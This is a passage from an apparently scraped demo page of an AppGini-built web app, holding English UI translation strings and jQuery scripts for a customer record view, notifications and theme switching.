    Just paste the following code into a text editor and save the file as \"config.php\", then upload it using FTP or any other method to the folder %s on your server.",
    "Only show records having filterer": "Only show records where %s is %s",
    "You don't have enough permissions to delete this record": "You don't have enough permissions to delete this record",
    "Couldn't delete this record": "Couldn't delete this record",
    "The record has been deleted successfully": "The record has been deleted successfully",
    "Couldn't save changes to the record": "Couldn't save changes to the record",
    "Couldn't save the new record": "Couldn't save the new record",
    "More": "More",
    "Confirm deleting multiple records": "Confirm deleting multiple records",
    " records will be deleted. Are you sure you want to do this?": " records will be deleted. Are you sure you want to do this?",
    "Yes, delete them!": "Yes, delete them!",
    "No, keep them.": "No, keep them.",
    "Deleting record of ": "Deleting record of ",
    "Delete progress": "Delete progress",
    "Show\/hide details": "Show\/hide details",
    "Connection error": "Connection error",
    "Add more actions": "Add more actions",
    "Update progress": "Update progress",
    "Change owner": "Change owner",
    "Updating record of ": "Updating record of ",
    "Change owner of
    selected records to": "Change owner of selected records to",
    "username invalid": "Username already exists or is invalid. Make sure you provide a username containing 4 to 20 valid characters.",
    "permalink": "Permalink",
    "invalid provider": "Invalid provider!",
    "invalid url": "Invalid URL!",
    "cant retrieve coordinates from url": "Can't retrieve coordinates from URL!",
    "unique field error": "This value already exists or is invalid. Please make sure to specify a unique valid value.",
    "show all user records from table": "Show all records of this user from \"\" table",
    "show all group records from table": "Show all records of this group from \"
    \" table",
    "email this user": "Email this user",
    "email this group": "Email this group",
    "last modified": "Last modified",
    "record has no owner": "This record has no assigned owner. You can assign an owner from the admin area.",
    "admin-only info": "The above info is displayed because you are currently signed in as the super admin. Other users won't see this.",
    "discard changes confirm": "Discard changes to this record?",
    "hide\/show columns": "Hide\/Show columns",
    "next column": "Next column",
    "previous column": "Previous column",
    "hide all": "Hide all",
    "toggle": "Toggle",
    "datetimepicker locale": "en",
    "account token theft warning": "Someone might have been trying to access your account by stealing your cookie-based access token. As a precaution, you have been logged out and are required to re-enter your login credentials to sign in.",
    "group added successfully": "Group added successfully",
    "group updated successfully": "Changes to this group saved successfully",
    "saved filter link": "Saved filter link",
    "app documentation": "App documentation",
    "back to top": "Back to top",
    "check all": "Check all",
    "uncheck all": "Uncheck all",
    "invert checks": "Invert checks",
    "set all to x": "Set all to ",
    "tip check csv for errors": "Tip: you can check if your CSV file contains errors using
    csvlint.io<\/a>",
    "keyboard shortcuts": "Keyboard shortcuts",
    "keyboard shortcuts disabled": "Keyboard shortcuts are disabled",
    "keyboard shortcuts enabled": "Keyboard shortcuts are enabled",
    "Enable": "Enable",
    "Disable": "Disable",
    "display this help window": "Display this help window",
    "close this window": "Close this window",
    "open x navigation menu": "Open <\/b> navigation menu",
    "user profile": "User profile",
    "clear search": "Clear search",
    "navigate between sections of page": "Navigate between sections of page",
    "open admin info menu": "Open Admin Information menu",
    "navigate between sections of child records": "Navigate between sections of child records",
    "old php version": "You're using PHP version . The minimum version supported by this app is . Please upgrade PHP, or install the app on another server.",
    "extension not enabled": "This app can't run because extension is not enabled. Please enable it in your php.ini configuration file, restart the web server, then retry.",
    "error reading csv file": "Error reading CSV file. Please make sure the file exists, and CSV settings are correct.",
    "clean csv dir error": "Couldn't create or read\/write to \"import-csv\" directory.",
    "Invalid import job": "Invalid import job",
    "Previous record": "Previous record",
    "Next record": "Next record",
    "job in progress by another process": "Job already in progress by another process",
    "invalid clean csv file": "Clean CSV file invalid, unreadable, or not yet ready",
    "invalid csv map": "Invalid CSV field mapping",
    "invalid field separator": "Invalid field separator",
    "import csv file": "Import CSV data to a table",
    "import another csv file": "Import another CSV file",
    "file upload error": "Error uploading file",
    "to use tab": "To use TAB as field separator, type TAB",
    "field qualifier": "Field qualifier (wrapper)",
    "auto-detect csv columns": "Automatically detect CSV columns based on selected table.",
    "nothing to import": "There is nothing to import. Please select at least one column to import.",
    "multiple columns mapped to same field": "You can't import multiple columns to the same field.",
    "uploading in x seconds": "Uploading starts in [SECONDS] seconds.",
    "cancel and back to csv upload": "Cancel and choose a different CSV file",
    "confirm importing csv": "Confirm importing CSV data to selected table",
    "total records": "Total records",
    "imported records": "Imported records",
    "remaining": "Remaining",
    "ETA": "ETA",
    "import finished": "Import finished. You can access imported records in the specified table.",
    "import job taking long keep page open permalink": "This import job seems to be taking some time. You can keep this page open and continue working in another tab. We also recommend copying the link below so you can resume importing later if anything goes wrong.",
    "pause": "Pause",
    "resume": "Resume",
    "new": "New",
    "updated": "Updated",
    "skipped": "Skipped",
    "fast import mode": "Fast import mode (faster import, but less accurate stats, and record ownership set after importing)",
    "assign owner for n records in table": "Assign owner for [n] records without owners in this table",
    "no update missing pk field in csv": "Updating is disabled because there is no primary key field specified in the CSV file, or you don't have edit access to this table.",
    "no insert update only": "You don't have permission to insert new records into this table. Only updates are allowed.",
    "allow importing CSV files": "Allow importing CSV files",
    "description of import CSV files option": "This option allows user(s) to import CSV files into tables where they have insert or edit permissions.",
    "admin group attention": "Attention! This is the admin group.",
    "toggle import logs": "Show\/hide import logs",
    "admin csv warning": "This page will be removed in future versions and you should use [a]the new import CSV page[\/a] instead.",
    "Jump to": "Jump to ...",
    "check username availability": "Check if this username is available",
    "try rebuild fields": "You could try fixing this issue from the Admin Area : Utilities menu : View\/Rebuild Fields.",
    "click continue if slow": "If this page is taking too long to load, [a]click continue[\/a] to proceed.",
    "keyboard shorcuts reference": "Keyboard shortcuts reference",
    "google API key": "Google API key",
    "google API key instructions": "How to get and configure your Google API key?",
    "base upload path": "Base upload path",
    "base upload path change warning": "If you change the base upload path, existing uploaded files\/images will not be accessible from the app until moving them to the new upload path.",
    "base upload path instructions": "The path were uploaded files\/images are to be stored. The path is assumed to be relative to the app path, but you can start it with ..\/<\/code> to specify a path outside the app.",
    "invalid upload path": "Specified base upload path does not exists and could not be created.",
    "Appearance": "Appearance",
    "Mail": "Mail",
    "Preconfigured users and groups": "Preconfigured users and groups",
    "Application": "Application",
    "Query logs": "Query logs",
    "Query log table does not exist": "There was an error while attempting to create appgini_query_log table. Please make sure the database user has CREATE TABLE privilege.",
    "slow queries": "Slow queries",
    "error queries": "Error queries",
    "date\/time": "Date\/time",
    "duration (sec)": "Duration (sec)",
    "page address": "Page address",
    "query": "Query",
    "page x of y": "Page of ",
    "total # queries": "Total # queries.",
    "Interactive SQL queries tool": "Interactive SQL queries tool",
    "Enter SQL query": "Enter SQL query",
    "Query must start with select": "Query must start with %s",
    "Display results": "Display results",
    "Update results as you type": "Update results as you type",
    "Use cache": "Use cache",
    "results truncated": "Results below might have been truncated to a limit of %s records for performance purposes.",
    "Results will be displayed here": "Results will be displayed here.",
    "Bookmark this query": "Bookmark this query",
    "Query name": "Query name",
    "Manage bookmarked queries": "Manage bookmarked queries",
    "continue browsing as guest": "Continue browsing as a guest",
    "translation tool": "Translation tool",
    "query logs older than 2 month auto cleared": "Query logs older than 2 months are automatically cleared. You can manually clear logs through the clear buttons below.",
    "clear slow queries": "Clear slow queries",
    "clear error queries": "Clear error queries",
    "confirm clear logs": "This will clear specified query logs. Please confirm!",
    "query logs cleared": " query logs cleared.",
    "unicode error": "Unicode misconfiguration",
    "unicode needs fixing": "The unicode encoding for the database and\/or some tables needs to be fixed.",
    "unicode fix details": "Tables encoded using the utf8 encoding will be adjusted to the more superior utf8mb4 encoding, which supports all unicode character sets.",
    "fix unicode": "Fix unicode",
    "Messages": "Messages",
    "mysql port": "MySQL port",
    "db_port help": "If MySQL is using a different port than the default %s, enter it above.",
    "checking database info": "Checking database info ...",
    "if error persists check query log": "If the error persists below, please check the query error log for more details",
    "send mail to too many members": "You are sending an email to too many members. This could take a lot of time and affect your server performance. If you have a huge number of members, we don't recommend sending an email to all of them at once.",
    "n recipients": "%s recipients",
    "messages plugin cta": "Escape the email chaos. Experience the power of efficient communication with the Messages Plugin for AppGini.",
    "update calculated fields": "Update calculated fields",
    "no tables with calculated fields": "No tables with calculated fields were found.",
    "description for updating calculated fields": "This tool allows you to update calculated fields in all records across all tables, which is useful in various scenarios. For instance, you might want to use this tool if you've added a new calculated field and need to populate it for existing records, changed the formula of a calculated field and need to update all records accordingly, or imported new records into one or more tables.",
    "cli tool for updating calculated fields": "There is also a command-line tool for updating calculated fields. This is very handy if you want to automate the process of updating calculated fields, for instance by adding a cron job to run the command-line tool periodically. For help on using the command-line tool, please run the following command in your terminal:",
    "start updating": "Start updating",
    "captcha label": "Please enter the characters you see in the image",
    "Explore more plugins": "Explore more plugins",
    "Install a plugin": "Install a plugin",
    "invalid order number": "Invalid order number",
    "invalid order login": "Could not find an order with the specified order number and email address.",
    "order number": "Order Number",
    "view available plugins": "View available plugins",
    "plugin check instructions": "Please enter your email address and order number below to check for available plugins.",
    "no plugins available": "No plugins available for this order number.",
    "install selected plugins": "Install selected plugins",
    "select plugins to install": "Select plugins to install",
    "plugins install progress": "Install progress",
    "already installed": "already installed on %s (check to re-install)",
    "plugin install failed": "Plugin installation failed!",
    "plugin installed successfully": "Plugin installed successfully! Click to launch.",
    "missing dependencies": "Errors or missing dependecies found",
    "fix record owners": "Fix record owners",
    "record owner not configured for this table": "Record owner is not configured for this table.",
    "start": "Start",
    "fixing record owners": "Fixing record owners ...",
    "number of runs": "Number of runs",
    "no tables to fix record owners": "No tables have record owners configured. Nothing to fix.",
    "fix record owners description": "This tool enables you to update the record owners for pre-existing records in tables that have record owners configured. This is useful when you have recently configured record owners for one or more tables and wish to apply the updated configuration to the existing records.",
    "records updated:": "Records updated: ",
    "ldap disable user signup": "Disable (only admins can add users)",
    "ldap settings": "LDAP settings",
    "login method": "Login method",
    "default": "Default",
    "ldap": "LDAP",
    "ldap server": "LDAP server",
    "ldap version": "LDAP version",
    "ldap username prefix": "LDAP username prefix",
    "ldap username suffix": "LDAP username suffix",
    "ldap default user group": "Default user group for new LDAP users",
    "Examples: ": "Examples: ",
    "Example: ": "Example: ",
    "ldap admin user warning": "Before enabling LDAP login, make sure the admin username %s exists in the LDAP server. Otherwise, you will not be able to sign in as admin.",
    "SQL": "SQL",
    "click to copy": "Click to copy",
    "copied": "Copied!",
    "db server status": "Database server status",
    "db client status": "Database client status",
    "date and time info": "Date and time info",
    "language": "english"
    },
    _encoding: 'UTF-8',
    apply: () => {
    // find elements with data-translate attribute that don't have .translated class
    const contentEls = document.querySelectorAll('[data-translate]:not(.translated)');

// find elements with data-title attribute that don't have .translated class
const titleEls = document.querySelectorAll('[data-title]:not(.translated)');

// abort if no elements found
if(!contentEls.length && !titleEls.length) return;

// translate content of elements that have data-translate attribute
contentEls.forEach(el => {
const key = el.getAttribute('data-translate');
if(!key) return;

const translation = AppGini.Translate._map[key];
if(!translation) return;

el.innerHTML = translation;
el.classList.add('translated');
});

// translate title of elements that have data-title attribute
titleEls.forEach(el => {
const key = el.getAttribute('data-title');
if(!key) return;

const translation = AppGini.Translate._map[key];
if(!translation) return;

el.setAttribute('title', translation);
el.classList.add('translated');
});
},
}

AppGini.config = {"imgFolder":"images\/","url":"http:\/\/localhost\/fetuygulama\/app\/","uri":"fetuygulama\/app"}


window.show_notification = function(options) {
var dismiss_class = '';
var dismiss_icon = '';
var cookie_name = 'hide_notification_' + options.id;
var notif_id = 'notifcation-' + Math.ceil(Math.random() * 1000000);

/* apply provided notficiation id if unique in page */
if(options.id != undefined) {
if(!$j('#' + options.id).length) notif_id = options.id;
}

/* notifcation should be hidden? */
if(localStorage.getItem(cookie_name) != undefined) return;

/* notification should be dismissable? */
if(options.dismiss_seconds > 0 || options.dismiss_days > 0) {
dismiss_class = ' alert-dismissible';
dismiss_icon = '';
}

/* remove old dismissed notficiations */
$j('.alert-dismissible.invisible').remove();

/* append notification to notifications container */
$j(
'

' +
dismiss_icon +
options.message +
'

'
).appendTo('#notifcation-placeholder-25134715');

var this_notif = $j('#' + notif_id);

/* dismiss after x seconds if requested */
if(options.dismiss_seconds > 0) {
setTimeout(function() { this_notif.addClass('invisible'); }, options.dismiss_seconds * 1000);
}

/* dismiss for x days if requested and user dismisses it */
if(options.dismiss_days > 0) {
var ex_days = options.dismiss_days;
this_notif.on('closed.bs.alert', function() {
/* set a cookie not to show this alert for ex_days */
localStorage.setItem(cookie_name, '1');
});
}
}
})


The new record has been saved successfully.

if(!autoDismiss) {
if(embedded)
$j('#notification-2030419736').before('

');
else
$j('#notification-2030419736').css({ margin: '0 0 1rem' });

return;
}

// below code runs only in case of autoDismiss

if(embedded)
$j('#notification-2030419736').css({ margin: '1rem 0 -1rem' });
else
$j('#notification-2030419736').css({ margin: '-15px 0 -20px' });

setTimeout(function() {
$j('#notification-2030419736').css({ animation: 'fadeOut ' + fadeDelay + 's ease-out' });
}, messageDelay * 1000);

setTimeout(function() {
$j('#notification-2030419736').css({ visibility: 'hidden' });
}, (messageDelay + fadeDelay) * 1000);
})

0d76e64e70f5" />

Detail View

Loading ...





0.00




Loading ...


/* auto-close embedded page? */
var autoclose_mode = ($j('input[name=AutoClose]').val() == 1);
var record_added_ok = (location.search.split('record-added-ok=').length == 2);
var record_updated_ok = (location.search.split('record-updated-ok=').length == 2);
if((record_added_ok || record_updated_ok) && embedded_mode && autoclose_mode) {
setTimeout(AppGini.closeParentModal, 2000);
}

$j('#customers_dv_container-loading').addClass('hidden');
$j('#customers_dv_container').removeClass('hidden');
if(!$j('.table_view').length || $j('[name=SelectedID]').val().length) AppGini.focusFormElement('customers', 'CompanyName');

$j('form').eq(0).change(function() {
if($j(this).data('already_changed')) return;
if($j('#deselect').length) $j('#deselect').removeClass('btn-default').addClass('btn-warning').get(0).lastChild.data = " Cancel";
$j(this).data('already_changed', true);
});

$j('a[href="images/"]').click(function() { return false; });

if(embedded_mode) {
/* hide links to children tables in embedded mode */
$j('.detail_view a[id$=_link]').remove();

/* append embedded mode to all links */
var append_embedded = function() {
$j('a[href]:not([href^="#"]):not([href^="javascript"]):not([href$="Embedded=1"]):not([href*="link.php?t="]):not([href^="mailto:"]):not([href$=".jpg"]):not([href$=".png"]):not([href$=".gif"])').each(
function() {
$j(this).attr('href', $j(this).attr('href') + '&Embedded=1');
}
);
}
setTimeout(append_embedded, 500);
setTimeout(append_embedded, 1500);
setTimeout(append_embedded, 2500);
setTimeout(append_embedded, 3500);
}

/* when no record is selected ('add new' mode) */
if(add_new_mode) {
/* hide links to children tables */
$j('.detail_view a[id$=_link]').remove();
} else {
post(
'parent-children.php', {
ParentTable: 'customers',
SelectedID: '3',
Operation: 'show-children'
},
'customers-children'
);
}

if(true /* !embedded_mode */) {
$j('.add_new_parent').click(function() {
var pt = $j(this).attr('id').replace(/_add_new$/, '');
modal_window({
url: pt + '_view.php?addNew_x=1&Embedded=1',
close: function() {
var field_id = $j('#' + pt + '_add_new').prevAll('input:hidden').eq(0).attr('id');
$j('#' + field_id + '-container').select2('focus').select2('focus');

/* if a new parent was added, select it */
var new_id = localStorage.getItem(pt + '_last_added_id');
if(new_id === null) return;

localStorage.removeItem(pt + '_last_added_id');
AppGini.lookupText({
id: new_id,
table: 'customers',
field: field_id,
callback: function(data) {
$j('#' + field_id + '-container').select2('data', data, true);
}
});
},
size: 'full',
title: $j(this).attr('title')
});
});
}

AppGini.hideViewParentLinks();

$j('form').on('click', '.view_parent', function() {
var pt = $j(this).attr('id').replace(/_view_parent$/, '');
if($j(this).prevAll('input:hidden').length) {
var parent_id = $j(this).prevAll('input:hidden').eq(0).val();
} else {
var parent_id = $j(this).prevAll().children('input:hidden').eq(0).val();
}

/* handle radio lookups */
if($j(this).prevAll('[type=radio]').length) {
parent_id = $j(this).prevAll('[type=radio]').eq(0).val();
}

if(parent_id != '{empty_value}' && parent_id != undefined && parent_id != '') {
var parent_link = $j(this).parents('.form-group').children('label').data('parent_link');
switch(parent_link) {
case 'view_parent_hidden':
break;
case 'view_parent_modal':
modal_window({
url: pt + '_view.php?Embedded=1&SelectedID=' + encodeURIComponent(parent_id),
close: function() {
var field_id = $j('#' + pt + '_view_parent').prevAll('input:hidden').eq(0).attr('id');
$j('#' + field_id + '-container').select2('focus').select2('focus');

// in case the parent record was updated, we should update auto-fills
var updaterName = field_id + '_update_autofills';
if(typeof(window[updaterName]) == 'function')
window[updaterName]();
},
size: 'full',
title: $j(this).attr('title')
});
break;
case 'view_parent_same_window':
window.location = pt + '_view.php?Embedded=' + (embedded_mode ? '1' : '') + '&SelectedID=' + encodeURIComponent(parent_id);
break;
case 'view_parent_new_window':
window.open(pt + '_view.php?SelectedID=' + encodeURIComponent(parent_id));
break;
}

}
});

enforce_uniqueness('customers', 'CustomerID');

/* load admin tools for admin user */
if(!add_new_mode) {
$j('body').append('

');
$j('#admin-tools-appendix').load(
'ajax_admin_tools.php?table=customers&id=3',
function(resp) {
if(!resp.length) return;
$j.ajax('ajax_admin_tools.php?action=get_admin_tools_js&table=customers&id=3');
}
);
}

/* warn user if 'add new' clicked while unsaved changes exist */
$j('#addNew').click(function() {
if($j('#deselect.btn-warning').length) {
return confirm('Discard changes to this record?');
}
});

});


/* data for selected record, or defaults if none is selected */
var data = {
};

/* initialize or continue using AppGini.cache for the current table */
AppGini.cache = AppGini.cache || {};
AppGini.cache[tn] = AppGini.cache[tn] || AppGini.ajaxCache();
var cache = AppGini.cache[tn];

cache.start();
});

// switch to horizontal btn-group if buttons too wide
$j(window).resize(function() {
if(navBtns.width() > 300) {
navBtns
.removeClass('btn-group-vertical')
.addClass('btn-group')
.find('.btn')
.css({ width: (100 / navBtns.find('.btn').length) + '%' });
return;
}

navBtns
.removeClass('btn-group')
.addClass('btn-group-vertical')
.find('.btn').css({ width: '100%' });
}).trigger('resize');

navBtns.on('click', '.btn', function(e) {
// detect changes and confirm they'd be lost
if($j('#deselect').hasClass('btn-warning'))
if(!confirm(
"Discard changes to this record?" )) {
e.preventDefault();
return false;
}

// reset form and prevent validation
var form = $j(this).parents('form');
form.prop('novalidate', true).get(0).reset();
return true;
})
.appendTo('#customers_dv_action_buttons > .btn-toolbar:first-child');
})

You can as well sign up as a new user. You'll then be able to add records and edit/delete them. You can only view all other records but not edit/delete them.

User groups and permissions are a built-in feature in all apps created by AppGini.
You can see in this screencast how to configure group permissions.



$j(function(){
/* Get AppGini version */
var appginiVersion = $j('.navbar-fixed-bottom small a').text().replace(/[a-z ]*/i, '');
$j('.appgini-version').html(appginiVersion);

/* Remove the bottom nav */
$j('.navbar-fixed-bottom').remove();

/* Apply navbar color, bgcolor and border styles to #demo-tools */
$j('#demo-tools').css({
'border': $j('.navbar').css('border'),
'background-color': $j('.navbar').css('background-color')
});

/* Same height for all #demo-tools buttons */
setTimeout(demoToolsSameHeight, 2500);

$j('#show-more-info').click(function(){
modal_window({
message: $j('#more-info-demo').html(),
title: 'About this demo',
footer: [{
label: 'Close',
bs_class: 'default'
}]
});
});

$j('#next-theme, #prev-theme').on('click', function() {
var next = ($j(this).attr('id') == 'next-theme'),
themeIndex = themes.indexOf(cookie('theme'));

if(themeIndex == -1) themeIndex = 0;

if(next) {
themeIndex++;
if(themeIndex >= themes.length) themeIndex = 0;
} else {
themeIndex--;
if(themeIndex < 0) themeIndex = themes.length - 1;
}

cookie('theme', themes[themeIndex]);
applyTheme(themes[themeIndex]);
demoToolsSameHeight();
});

$j('#compact-toggle').click(function() {
compact(
$j(this).children('.glyphicon').hasClass('glyphicon-resize-small')
);
})

$j('#hide-demo-tools').click(function() {
applyDemoToolsVisibility('off');
});

$j('#restore-demo-tools').on('click', 'button', function() {
applyDemoToolsVisibility('on');
})
});

if(typeof(notEmbedded) == 'undefined') var notEmbedded = false;

function applyDemoToolsVisibility(viz) {
if(notEmbedded === undefined) return;
if(viz === undefined) viz = cookie('displayDemoTools');
if(viz === 'null') viz = 'on';

$j('#restore-demo-tools').toggleClass('hidden', viz == 'on');
$j('#demo-tools').toggleClass('hidden', viz != 'on');
if(viz === 'on') demoToolsSameHeight();

cookie('displayDemoTools', viz);
}

function applyTheme(new_theme){
/* get configured theme */
var theme = new_theme;
var pre_path = "";
theme = theme || cookie('theme');
theme = theme || 'bootstrap.css'; // default theme if no cookie and no theme passed

if(!theme.match(/.*?\.css$/)) return;

/* remove current theme */
$j('link[rel=stylesheet][href*="initializr/css/"]').remove();
$j('link[rel=stylesheet][href="dynamic.css"]').remove();
$j('body > div.users-area')
.removeClass(themes.map((theme) => 'theme-' + theme.replace(/\.css$/, '')).join(' '))
.addClass(`theme-${theme.replace(/\.css$/, '')}`);

/* apply configured theme */
$j('head').append('');
$j('head').append('');

/* update displayed theme name */
$j('#demo-theme-name').html(ucfirst(theme.replace(/\.css$/, '')));

/* Apply navbar color, bgcolor and border styles to #demo-tools */
$j('#demo-tools').css({
'border': $j('.navbar').css('border'),
'background-color': $j('.navbar').css('background-color')
});
}

function compact(turnOn) {
// on by default
if(turnOn === undefined)
turnOn = (cookie('compactMode') != 'false');

if(notEmbedded !== undefined)
$j('#compact-toggle > .glyphicon')
.toggleClass('glyphicon-resize-small', !turnOn)
.toggleClass('glyphicon-resize-full', turnOn);

$j('body > div.users-area').toggleClass('theme-compact', turnOn);
cookie('compactMode', turnOn);
}

function cookie(name, val){
if(val !== undefined) createCookie(name, val, 0.1);
return String(readCookie(name));
}

function ucfirst(str) {
str += '';
var f = str.charAt(0).toUpperCase();
return f + str.substr(1);
}

function createCookie(name, value, days) {
var expires;

if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toGMTString();
} else {
expires = "";
}
document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + expires + "; path=/";
}

function readCookie(name) {
var nameEQ = encodeURIComponent(name) + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) === ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) === 0) return decodeURIComponent(c.substring(nameEQ.length, c.length));
}
return null;
}

function eraseCookie(name) {
createCookie(name, "", -1);
}

function demoToolsSameHeight() {
if(notEmbedded === undefined) return;
var max_height = 30;
$j('#demo-tools .btn').each(function(){
var bh = $j(this).height();
if(bh > max_height) max_height = bh;
});
$j('#demo-tools .btn').height(max_height);
};

function showDemoInfoOnce() {
if(notEmbedded === undefined) return;
if(cookie('demoInfoShownBefore') === 'yes') return;

cookie('demoInfoShownBefore', 'yes');
$j('#show-more-info').click();
}

function showInfoInLoginPage() {
$j('#login_splash').html(
'

About this demo

' +
$j('#more-info-demo').html() +
'

'
);
}

function getThemeFromUrl() {
if(!/\btheme=\w+/.test(location.search)) return;
let theme = location.search.match(/\btheme=(\w+)/)[1] + '.css';
if(themes.indexOf(theme) < 0) return;

cookie('theme', theme);
}

// startup
$j(function() {
getThemeFromUrl();
applyTheme();
applyDemoToolsVisibility();
compact();
showDemoInfoOnce();
showInfoInLoginPage();
});

Source link

Tagged with:



Leave a Reply

Your email address will not be published.